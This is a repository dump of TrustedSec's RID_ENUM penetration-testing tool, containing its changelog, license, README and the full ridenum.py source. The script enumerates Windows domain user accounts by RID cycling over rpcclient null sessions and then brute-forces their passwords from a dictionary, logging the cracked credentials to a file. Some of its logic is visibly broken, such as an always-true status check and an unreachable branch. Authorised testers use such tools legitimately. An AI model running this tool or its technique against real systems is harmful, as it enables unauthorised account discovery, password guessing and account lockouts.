├── .gitignore ├── CHANGELOG.txt ├── LICENSE.txt ├── README.md └── ridenum.py /.gitignore: -------------------------------------------------------------------------------- 1 | *results.txt 2 | *users.txt 3 | .idea 4 | *.pyc 5 | -------------------------------------------------------------------------------- /CHANGELOG.txt: -------------------------------------------------------------------------------- 1 | ~~~~~~~~~~~~~~~~~~~ 2 | version 1.7 3 | ~~~~~~~~~~~~~~~~~~~ 4 | 5 | * move ridenum to python3 (PR) 6 | * fix issue where authentication via rpc would not work properly (PR) 7 | * fix rpcclient when using enumdomusers (pipe stdout) 8 | 9 | ~~~~~~~~~~~~~~~~~~~ 10 | version 1.6 11 | ~~~~~~~~~~~~~~~~~~~ 12 | 13 | * added the ability to specify creds if you want to pull the entire domain and do a username/pw dump when null sessions are not available 14 | 15 | ~~~~~~~~~~~~~~~~~~~ 16 | verion 1.5.5 17 | ~~~~~~~~~~~~~~~~~~~ 18 | 19 | * added a replace for a samba warning message - would cause rid extraction to not complete 20 | 21 | ~~~~~~~~~~~~~~~~~~~ 22 | version 1.5.4 23 | ~~~~~~~~~~~~~~~~~~~ 24 | 25 | * added write out if guess is correct but account disabled 26 | * put automatic success results in instead of waiting until having to complete 27 | 28 | ~~~~~~~~~~~~~~~~~~~ 29 | version 1.5.3 30 | ~~~~~~~~~~~~~~~~~~~ 31 | 32 | * added a fix if a blank password was used, it will try that instead of erroring out 33 | 34 | ~~~~~~~~~~~~~~~~~~~ 35 | version 1.5.2 36 | ~~~~~~~~~~~~~~~~~~~ 37 | 38 | * password expired found 39 | 40 | ~~~~~~~~~~~~~~~~~~~ 41 | version 1.5.1 42 | ~~~~~~~~~~~~~~~~~~~ 43 | 44 | * fixed twitter handle 45 | 46 | ~~~~~~~~~~~~~~~~~~~ 47 | version 1.5 48 | ~~~~~~~~~~~~~~~~~~~ 49 | 50 | * Added better handling around when zero status is returned (null) for user accounts 51 | * Added fail message for when enumdom users wouldn't work right 52 | * Used reindent to fix spacing issues 53 | * Added description on the password attempt when lc username is used 54 | 55 | ~~~~~~~~~~~~~~~~~~~ 56 | version 1.4 57 | ~~~~~~~~~~~~~~~~~~~ 58 | 59 | * Added better detection on brute force account lockouts 60 | * Added enumdomusers as a fallback in case rid enumeration fails on Win2k8/2k12 servers. 61 | 62 | ~~~~~~~~~~~~~~~~~~~ 63 | version 1.3 64 | ~~~~~~~~~~~~~~~~~~~ 65 | 66 | * Added better handling if domain name isn't specified in the userlist and lc username or uc username is used, it now works properly 67 | 68 | ~~~~~~~~~~~~~~~~~~~ 69 | version 1.2 70 | ~~~~~~~~~~~~~~~~~~~ 71 | 72 | * Added flag status for code received NT_STATUS_PASSWORD_MUST_CHANGE will detect password needs changed and log it 73 | * Added flag status code for NT_STATUS_BAD_NETWORK_NAME 74 | 75 | ~~~~~~~~~~~~~~~~~~~ 76 | version 1.1 77 | ~~~~~~~~~~~~~~~~~~~ 78 | 79 | * Fixed an issue when lc username was used and would not be a split on \\ domain name would cause ridenum to error out 80 | * Added NT_STATUS_LOGON_TYPE_NOT_GRANTED for exceptions handling for ridenum 81 | 82 | ~~~~~~~~~~~~~~~~~~~ 83 | version 1.0 84 | ~~~~~~~~~~~~~~~~~~~ 85 | 86 | * fixed an error message when NT_STATUS_ACCOUNT_DISABLED was thrown 87 | 88 | ~~~~~~~~~~~~~~~~~~~ 89 | version 0.9 90 | ~~~~~~~~~~~~~~~~~~~ 91 | 92 | * added better handling if NT_STATUS_ACCESS_DENIED is received post lsaquery 93 | * added base domain response triggers for lsaquery results if successful 94 | * fixed a counter issue when access denied from the server was returned 95 | 96 | ~~~~~~~~~~~~~~~~~~~ 97 | version 0.8 98 | ~~~~~~~~~~~~~~~~~~~ 99 | 100 | * fixed if unable to enumerate through LSA query return false 101 | 102 | ~~~~~~~~~~~~~~~~~~~ 103 | version 0.7 104 | ~~~~~~~~~~~~~~~~~~~ 105 | 106 | * added faster RID enumeration thanks to Tom Steele 107 | 108 | ~~~~~~~~~~~~~~~~~~~ 109 | version 0.6 110 | ~~~~~~~~~~~~~~~~~~~ 111 | 112 | * added better detection on access denied for RIDENUM 113 | 114 | ~~~~~~~~~~~~~~~~~~~ 115 | version 0.5 116 | ~~~~~~~~~~~~~~~~~~~ 117 | 118 | * added ability to specify a userlist if you already extracted it previously 119 | * added ability to see the results prior to brute force being successful 120 | 121 | ~~~~~~~~~~~~~~~~~~~ 122 | version 0.4 123 | ~~~~~~~~~~~~~~~~~~~ 124 | 125 | * removed full group name or account names from getting cut off, needed to stringsplit(" ", 1) to replace first with the latter half and strip any other data 126 | * removed versioning from rid_enum.py. Only centralizing through changelog.txt 127 | * rearranged the order for brute forcing, it would start off with password to username versus username to password. It will load a username then attempt password file then move on to the next one 128 | * added ability to specify uc username or lc username within dictionary file, it will strip domain name and brute force the username only (upper case and lowercase) 129 | * added ability to detect expired accounts 130 | 131 | ~~~~~~~~~~~~~~~~~~~ 132 | version 0.3 133 | ~~~~~~~~~~~~~~~~~~~ 134 | 135 | * fixed an issue that if failed it would not properly state it 136 | * fixed github email address use 137 | 138 | ~~~~~~~~~~~~~~~~~~~ 139 | version 0.2 140 | ~~~~~~~~~~~~~~~~~~~ 141 | 142 | * removed regular expression import, no longer needed 143 | * added ability to add spaces within a password and not throw an exception 144 | 145 | ~~~~~~~~~~~~~~~~~~~ 146 | version 0.1 147 | ~~~~~~~~~~~~~~~~~~~ 148 | 149 | * first release of rid_enum 150 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright 2020, RID_ENUM by TrustedSec, LLC 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer 8 | in the documentation and/or other materials provided with the distribution. 9 | * Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from 10 | this software without specific prior written permission. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 13 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 14 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 15 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 16 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 17 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 18 | 19 | The above licensing was taken from the BSD licensing and is applied to RID_ENUM as well. 20 | 21 | Note that the RID_ENUM is provided as is, and is a royalty free open-source application. 22 | 23 | Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit 24 | is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever 25 | see the creator of RID_ENUM in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author 26 | holds the right to refuse the hug or the beer. 27 | 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RID_ENUM - A simple open source method for performing null session brute forces 2 | 3 | Copyright 2018 TrustedSec 4 | 5 | + Written by: David Kennedy (ReL1K) 6 | + Twitter: @HackingDave and @TrustedSec 7 | + Website: https://www.trustedsec.com 8 | 9 | ``` 10 | .______ __ _______ _______ .__ __. __ __ .___ ___. 11 | | _ \ | | | \ | ____|| \ | | | | | | | \/ | 12 | | |_) | | | | .--. | | |__ | \| | | | | | | \ / | 13 | | / | | | | | | | __| | . ` | | | | | | |\/| | 14 | | |\ \----.| | | '--' | | |____ | |\ | | `--' | | | | | 15 | | _| `._____||__| |_______/ _____|_______||__| \__| \______/ |__| |__| 16 | |______| 17 | 18 | Written by: David Kennedy (ReL1K) 19 | Company: https://www.trustedsec.com 20 | Twitter: @TrustedSec 21 | Twitter: @HackingDave 22 | 23 | Rid Enum is a RID cycling attack that attempts to enumerate user accounts through 24 | null sessions and the SID to RID enum. If you specify a password file, it will 25 | automatically attempt to brute force the user accounts when its finished enumerating. 26 | 27 | - RIDENUM is open source and uses all standard python libraries minus python-pexpect. - 28 | 29 | You can also specify an already dumped username file, it needs to be in the DOMAINNAME\USERNAME 30 | format. 31 | 32 | Example: ./ridenum.py 192.168.1.50 500 50000 /root/dict.txt /root/user.txt 33 | 34 | Usage: ./ridenum.py 35 | 36 | -------------------------------------------------------------------------------- /ridenum.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import subprocess 3 | import os 4 | import sys 5 | ############################################################################################################# 6 | # 7 | # RID Enum 8 | # RID Cycling Tool 9 | # 10 | # Written by: David Kennedy (ReL1K) 11 | # Website: https://www.trustedsec.com 12 | # Twitter: @TrustedSec 13 | # Twitter: @HackingDave 14 | # 15 | # This tool will use rpcclient to cycle through and identify what rid accounts exist. Uses a few 16 | # different techniques to find the proper RID. 17 | # 18 | # Special thanks to Tom Steele for the pull request update and changes. 19 | # 20 | ############################################################################################################# 21 | 22 | 23 | def usage(): 24 | print(""" 25 | .______ __ _______ _______ .__ __. __ __ .___ ___. 26 | | _ \ | | | \ | ____|| \ | | | | | | | \/ | 27 | | |_) | | | | .--. | | |__ | \| | | | | | | \ / | 28 | | / | | | | | | | __| | . ` | | | | | | |\/| | 29 | | |\ \----.| | | '--' | | |____ | |\ | | `--' | | | | | 30 | | _| `._____||__| |_______/ _____|_______||__| \__| \______/ |__| |__| 31 | |______| 32 | 33 | Written by: David Kennedy (ReL1K) 34 | Company: https://www.trustedsec.com 35 | Twitter: @TrustedSec 36 | Twitter: @HackingDave 37 | 38 | Rid Enum is a RID cycling attack that attempts to enumerate user accounts through 39 | null sessions and the SID to RID enum. If you specify a password file, it will 40 | automatically attempt to brute force the user accounts when its finished enumerating. 41 | 42 | - RIDENUM is open source and uses all standard python libraries minus python-pexpect. - 43 | 44 | You can also specify an already dumped username file, it needs to be in the DOMAINNAME\\USERNAME 45 | format. 46 | 47 | Example: ./ridenum.py 192.168.1.50 500 50000 /root/dict.txt /root/user.txt 48 | 49 | Usage: ./ridenum.py 50 | """) 51 | sys.exit() 52 | 53 | # for nt-status-denied 54 | denied = 0 55 | 56 | # attempt to use lsa query first 57 | def check_user_lsa(ip, auth): 58 | # pull the domain via lsaenum 59 | command = ["rpcclient", "-U", "{}".format(auth), "{}".format(ip), "-c", "lsaquery"] 60 | 61 | if not auth: #do anonymous bind 62 | command.append("-N"); 63 | proc = subprocess.Popen(command, stdout=subprocess.PIPE, 64 | shell=False) 65 | stdout_value = proc.communicate()[0].decode('utf8') 66 | # if the user wasn't found, return a False 67 | if not "Domain Sid" in stdout_value: 68 | return False 69 | else: 70 | return stdout_value 71 | 72 | # attempt to lookup an account via rpcclient 73 | def check_user(ip, auth, account): 74 | command = ["rpcclient", "-U", "{}".format(auth), "-c", "lookupnames {}".format(ip)] 75 | if not auth: #do anonymous bind 76 | command.append("-N"); #specify no password 77 | 78 | proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False) 79 | stdout_value = proc.communicate()[0].decode('utf8') 80 | # if the user wasn't found, return a False 81 | if "NT_STATUS_NONE_MAPPED" or "NT_STATUS_CONNECTION_REFUSED" or "NT_STATUS_ACCESS_DENIED" in stdout_value: 82 | return False 83 | else: 84 | return stdout_value 85 | 86 | 87 | # helper function to break a list up into smaller lists 88 | def chunk(l, n): 89 | for i in range(0, len(l), n): 90 | yield l[i:i+n] 91 | 92 | 93 | # this will do a conversion to find the account name based on rid 94 | # looks up multiple sid-rids at a time provided a range 95 | def sids_to_names(ip, auth, sid, start, stop): 96 | rid_accounts = [] 97 | ranges = ['%s-%s' % (sid, rid) for rid in range(start, stop)] 98 | # different chunk size for darwin (os x) 99 | chunk_size = 2500 100 | if sys.platform == 'darwin': 101 | chunk_size = 5000 102 | chunks = list(chunk(ranges, chunk_size)) 103 | for c in chunks: 104 | command = ["rpcclient", "-U", "{}".format(auth), "{}".format(ip), "-c", "lookupsids {}".format(" ".join(c))] 105 | if not auth: #do anonymous bind 106 | command.append("-N") #specify no password 107 | 108 | proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False) 109 | stdout_value = proc.communicate()[0].decode('utf8') 110 | if "NT_STATUS_ACCESS_DENIED" in stdout_value: 111 | print("[!] Server sent NT_STATUS_ACCESS DENIED, unable to extract users.") 112 | global denied 113 | denied = 1 114 | 115 | break 116 | for line in stdout_value.rstrip().split('\n'): 117 | if not "*unknown*" in line: 118 | if line != "": 119 | rid_account = line.split(" ", 1)[1] 120 | # will show during an unhandled request 121 | # '00000' are bogus accounts? 122 | # only return accounts ie. (1). Everything else should be a group 123 | if rid_account != "request" and '00000' not in rid_account and '(1)' in rid_account: 124 | # here we join based on spaces, for example 'Domain Admins' needs to be joined 125 | rid_account = rid_account.replace("(1)", "") 126 | # return the full domain\username 127 | rid_account = rid_account.rstrip() 128 | rid_accounts.append(rid_account) 129 | return rid_accounts 130 | 131 | # capture initial input 132 | success = False 133 | # used if we specify username and password 134 | auth = "" 135 | try: 136 | if len(sys.argv) < 4: 137 | usage() 138 | ip = sys.argv[1] 139 | rid_start = sys.argv[2] 140 | rid_stop = sys.argv[3] 141 | # if password file was specified 142 | passwords = "" 143 | # if we use userlist 144 | userlist = "" 145 | if len(sys.argv) > 4: 146 | # pull in password file 147 | passwords = sys.argv[4] 148 | # if its not there then bomb out 149 | if not os.path.isfile(passwords): 150 | user = sys.argv[4] 151 | passwords = "" 152 | 153 | if len(sys.argv) > 5: 154 | userlist = sys.argv[5] 155 | if not os.path.isfile(userlist): 156 | passwd = sys.argv[5] 157 | auth = user + "%" + passwd 158 | userlist = "" 159 | 160 | if len(sys.argv) > 6: 161 | passwords = sys.argv[6] 162 | if not os.path.isfile(passwords): 163 | print("[!] File was not found. Please try a path again.") 164 | sys.exit() 165 | 166 | if len(sys.argv) > 7: 167 | userlist = sys.argv[7] 168 | if not os.path.isfile(userlist): 169 | print("[!] File was not found. Please try a path again.") 170 | sys.exit() 171 | 172 | # if we specified username and pass 173 | if auth != "": nopass = "" 174 | else: nopass = "-N" 175 | 176 | # check for python pexpect (if required) 177 | if passwords: 178 | try: 179 | import pexpect 180 | # if we don't have it 181 | except ImportError: 182 | print("[!] Sorry boss, python-pexpect is not installed. This is required when attempting to log in.") 183 | sys.exit() 184 | 185 | # if userlist is being used versus rid enum, then skip all of this 186 | if not userlist: 187 | print("[*] Attempting lsaquery first...This will enumerate the base domain SID") 188 | # call the check_user_lsa function and check to see if we can find base SID guid 189 | sid = check_user_lsa(ip, auth) 190 | # if lsa enumeration was successful then don't do 191 | if sid: 192 | sid = sid.replace("WARNING: Ignoring invalid value 'share' for parameter 'security'", "") 193 | print("[*] Successfully enumerated base domain SID. Printing information: \n" + sid.rstrip()) 194 | print("[*] Moving on to extract via RID cycling attack.. ") 195 | # format it properly 196 | sid = sid.rstrip() 197 | sid = sid.split(" ") 198 | sid = sid[4] 199 | # if we weren't successful on lsaquery 200 | else: 201 | print("[!] Unable to enumerate through lsaquery, trying default account names..") 202 | accounts = ("administrator", "guest", "krbtgt", "root") 203 | for account in accounts: 204 | # check the user account based on tuple 205 | sid = check_user(ip, auth, account) 206 | # if its false then cycle threw 207 | if not sid: 208 | print("[!] Failed using account name: %s...Attempting another." % account) 209 | else: 210 | # success! Break out of the loop 211 | print("[*] Successfully enumerated SID account.. Moving on to extract via RID.\n") 212 | break 213 | # if we found one 214 | if sid != False: 215 | # pulling the exact domain SID out 216 | sid = sid.split(" ") 217 | # pull first in tuple 218 | sid = sid[1] 219 | # remove the RID number 220 | sid = sid[:-4] 221 | # we has no sids :( exiting 222 | if sid == False: 223 | denied = 1 224 | print("[!] Failed to enumerate SIDs, pushing on to another method.") 225 | 226 | print("[*] Enumerating user accounts.. This could take a little while.") 227 | # assign rid start and stop as integers 228 | rid_start = int(rid_start) 229 | rid_stop = int(rid_stop) 230 | 231 | # this is where we write out our output 232 | if os.path.isfile("%s_users.txt" % ip): 233 | # remove old file 234 | os.remove("%s_users.txt" % ip) 235 | filewrite = open("%s_users.txt" % ip, "a") 236 | 237 | # cycle through rid and enumerate the domain 238 | sid_names = sids_to_names(ip, auth, sid, rid_start, rid_stop) 239 | if sid_names: 240 | for name in sid_names: 241 | # print the sid 242 | print("Account name: " + name) 243 | # write the file out 244 | filewrite.write(name + "\n") 245 | # close the file 246 | filewrite.close() 247 | if denied == 0: 248 | print("[*] RIDENUM has finished enumerating user accounts...") 249 | 250 | # if we failed all other methods, we'll move to enumdomusers 251 | if denied == 1: 252 | print("[*] Attempting enumdomusers to enumerate users...") 253 | proc = subprocess.Popen(["rpcclient", "-U", "'{}'".format(auth), "{}".format(nopass), "{}".format(ip), "-c", "enumdomusers"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=False) 254 | filewrite = open("%s_users.txt" % ip, "a") 255 | counter = 0 256 | for line in iter(proc.stdout.readline, ''): 257 | counter = 1 258 | line = line.decode('utf8') 259 | if line != '': 260 | if "user:" in line: 261 | # cycle through 262 | line = line.split("rid:") 263 | line = line[0].replace("user:[", "").replace("]", "") 264 | filewrite.write(line + "\n") 265 | else: 266 | denied = 2 267 | break 268 | else: 269 | if counter == 0: 270 | break 271 | 272 | # if we had nothing to pull 273 | if counter == 0: 274 | denied = 2 275 | 276 | if denied == 2: 277 | print("[!] Sorry. RIDENUM failed to successfully enumerate users. Bummers.") 278 | 279 | if denied == 1: 280 | filewrite.close() 281 | print("[*] Finished dumping users, saved to %s_users.txt." % (ip)) 282 | 283 | # if we specified a password list 284 | if passwords: 285 | # our password file 286 | passfile = open(passwords, "r").readlines() 287 | userfile = "" 288 | # if userlist was specified 289 | if userlist: 290 | # use the userlist specified 291 | userfile = open(userlist, "r").readlines() 292 | # our list of users 293 | else: 294 | userfile = open("%s_users.txt" % ip, "r").readlines() 295 | 296 | # write out the files upon success 297 | # filewrite = open("%s_success_results.txt" % ip, "a") 298 | 299 | # cycle through username first 300 | for user in userfile: 301 | filewrite = open("%s_success_results.txt" % ip, "a") 302 | user = user.rstrip() 303 | user_fixed = user.replace("\\", "\\\\").replace("'", "") 304 | 305 | # if the user isn't blank 306 | if user: 307 | for password in passfile: 308 | password = password.rstrip() 309 | # if we specify a lowercase username 310 | if password == "lc username": 311 | try: 312 | if "\\" in password: 313 | password = user.split("\\")[1] 314 | password = password.lower() 315 | # if domain isn't specified 316 | else: password = user.lower() 317 | except: pass 318 | # if we specify a uppercase username 319 | if password == "uc username": 320 | try: 321 | if "\\" in password: 322 | password = user.split("\\")[1] 323 | password = password.upper() 324 | else: password = user.lower() 325 | except: pass 326 | if password != "": 327 | child = pexpect.spawn("rpcclient -U '%s%%%s' %s" % (user_fixed, password, ip)) 328 | # if we are using a blank password 329 | if password == "": 330 | child = pexpect.spawn("rpcclient -U '%s' -N %s" % (user_fixed, ip)) 331 | 332 | i = child.expect(['LOGON_FAILURE', 'rpcclient', 'NT_STATUS_ACCOUNT_EXPIRED', 333 | 'NT_STATUS_ACCOUNT_LOCKED_OUT', 'NT_STATUS_PASSWORD_MUST_CHANGE', 'NT_STATUS_ACCOUNT_DISABLED', 'NT_STATUS_LOGON_TYPE_NOT_GRANTED', 'NT_STATUS_BAD_NETWORK_NAME', 'NT_STATUS_CONNECTION_REFUSED', 'NT_STATUS_PASSWORD_EXPIRED', 'NT_STATUS_NETWORK_UNREACHABLE']) 334 | 335 | 336 | # login failed for this one 337 | if i == 0: 338 | if "\\" in password: 339 | password = password.split("\\")[1] 340 | print("Failed guessing username of %s and password of %s" % (user, password)) 341 | child.kill(0) 342 | 343 | # if successful 344 | if i == 1: 345 | print("[*] Successfully guessed username: %s with password of: %s" % (user, password)) 346 | filewrite.write("username: %s password: %s\n" % (user, password)) 347 | success = True 348 | filewrite.close() 349 | child.kill(0) 350 | 351 | # if account expired 352 | if i == 2: 353 | print("[-] Successfully guessed username: %s with password of: %s however, it is set to expired." % (user, password)) 354 | filewrite.write("username: %s password: %s\n" % (user, password)) 355 | filewrite.close() 356 | success = True 357 | child.kill(0) 358 | 359 | # if account is locked out 360 | if i == 3: 361 | print("[!] Careful. Received a NT_STATUS_ACCOUNT_LOCKED_OUT was detected.. \ 362 | You may be locking accounts out!") 363 | child.kill(0) 364 | 365 | # if account change is needed 366 | if i == 4: 367 | print("[*] Successfully guessed password but needs changed. Username: %s with password of: %s" % (user,password)) 368 | filewrite.write("CHANGE PASSWORD NEEDED - username: %s password: %s\n" % (user, password)) 369 | filewrite.close() 370 | success = True 371 | child.kill(0) 372 | 373 | # if account is disabled 374 | if i == 5: 375 | print("[*] Account is disabled: %s with password of: %s" % (user, password)) 376 | filewrite.write("ACCOUNT DISABLED: %s PW: %s\n" % (user,password)) 377 | success = True 378 | child.kill(0) 379 | 380 | if i ==8 or i == 9: 381 | print("[!] Unable to connect to the server. Try again or check networking settings.") 382 | print("[!] Exiting RIDENUM...") 383 | success = False 384 | sys.exit() 385 | 386 | 387 | # if successful 388 | if i == 9: 389 | print("[*] Successfully guessed username: %s with password of (NOTE IT IS EXPIRED!): %s" % (user, password)) 390 | filewrite.write("username: %s password: %s (password expired)\n" % (user, password)) 391 | filewrite.close() 392 | success = True 393 | child.kill(0) 394 | 395 | 396 | filewrite.close() 397 | # if we got lucky 398 | if success: 399 | print("[*] We got some accounts, exported results to %s_success_results_txt" % ip) 400 | print("[*] All accounts extracted via RID cycling have been exported to %s_users.txt" % ip) 401 | # if we weren't successful 402 | else: 403 | print("\n[!] Unable to brute force a user account, sorry boss.") 404 | 405 | # exit out after we are finished 406 | sys.exit() 407 | 408 | # except keyboard interrupt 409 | except KeyboardInterrupt: 410 | print("[*] Okay, Okay... Exiting... Thanks for using ridenum.py") 411 | --------------------------------------------------------------------------------